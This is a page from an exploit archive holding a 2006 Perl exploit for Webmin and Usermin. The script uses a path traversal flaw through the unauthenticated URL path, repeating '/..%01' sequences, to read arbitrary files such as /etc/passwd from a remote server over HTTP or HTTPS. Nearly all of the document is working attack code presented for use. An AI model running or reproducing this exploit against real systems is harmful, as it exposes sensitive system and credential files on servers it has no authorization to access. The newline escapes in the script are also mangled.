[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (perl)
# Published : 2006-07-15
# Author : UmZ
# Previous Title : Winlpd 1.2 Build 1076 Remote Buffer Overflow Exploit
# Next Title : BT Voyager 2091 (Wireless ADSL) Multiple Vulnerabilities


#!/usr/bin/perl
#		Exploit for WEBMIN and USERMIN  less than 1.29x           
#		ARBITARY REMOTE FILE DISCLOSURE
#		WORKS FOR HTTP AND HTTPS (NOW) 		
#		Thrusday 13th  July 2006
#		Vulnerability Disclosure at securitydot.net
#		Coded by UmZ! umz32.dll@gmail.com
#		
#	
#
#		Make sure you have LWP before using this exploit.
#		USE IT AT YOUR OWN RISK
#
#		GREETS to wiseguy, Anonymous Individual, Uquali......Jhant... Fakhru... etc........................
#		for other.. like AHMED n FAIZ ... (GET A LIFE MAN).



#		Revised on Friday 14th July 2006
use LWP::Simple;
use LWP::UserAgent;
my $userag = LWP::UserAgent->new;
  
if (@ARGV < 4) { 
                    print("Usage: $0 <url> <port> <filename> <target> n"); 
                    print("TARGETS aren ");
		    print("0  - > HTTP n");
		    print(" 1  - > HTTPSn");
		    print("Define full path with file name n");
		    print("Example: ./webmin.pl blah.com 10000 /etc/passwdn");
		    exit(1); 
                    } 

                    ($target, $port,$filename, $tar) = @ARGV;

		print("WEBMIN EXPLOIT !!!!! coded by UmZ!n");
		print("Comments and Suggestions are welcome at umz32.dll [at] gmail.comn");
		print("Vulnerability disclose at securitydot.netnI am just coding it in perl 'cuz I hate PHP!n");
		print("Attacking $target on port $port!n");
		print("FILENAME:  $filenamen");
		

		$temp="/..%01" x 40;
		
		if ($tar == '0')
			{ my $url= "http://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
			$content=get $url;

			print("n FILE CONTENT STARTED");
			print("n -----------------------------------n");

			print("$content");
			print("n -------------------------------------n");
 			}

		
		elsif ($tar == '1')
			 {
			my $url= "https://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
			my $req = HTTP::Request->new(GET => $url);
			my $res = $userag->request($req);
  			if ($res->is_success) {
   			   	print("FILE CONTENT STARTEDn");
				print("-------------------------------------------n");
				print $res->as_string;
  				print("-------------------------------------------n");
						}
  			else {
      			print "Failed: ", $res->status_line, "n";
  			     }
			}

# www.Syue.com [2006-07-15]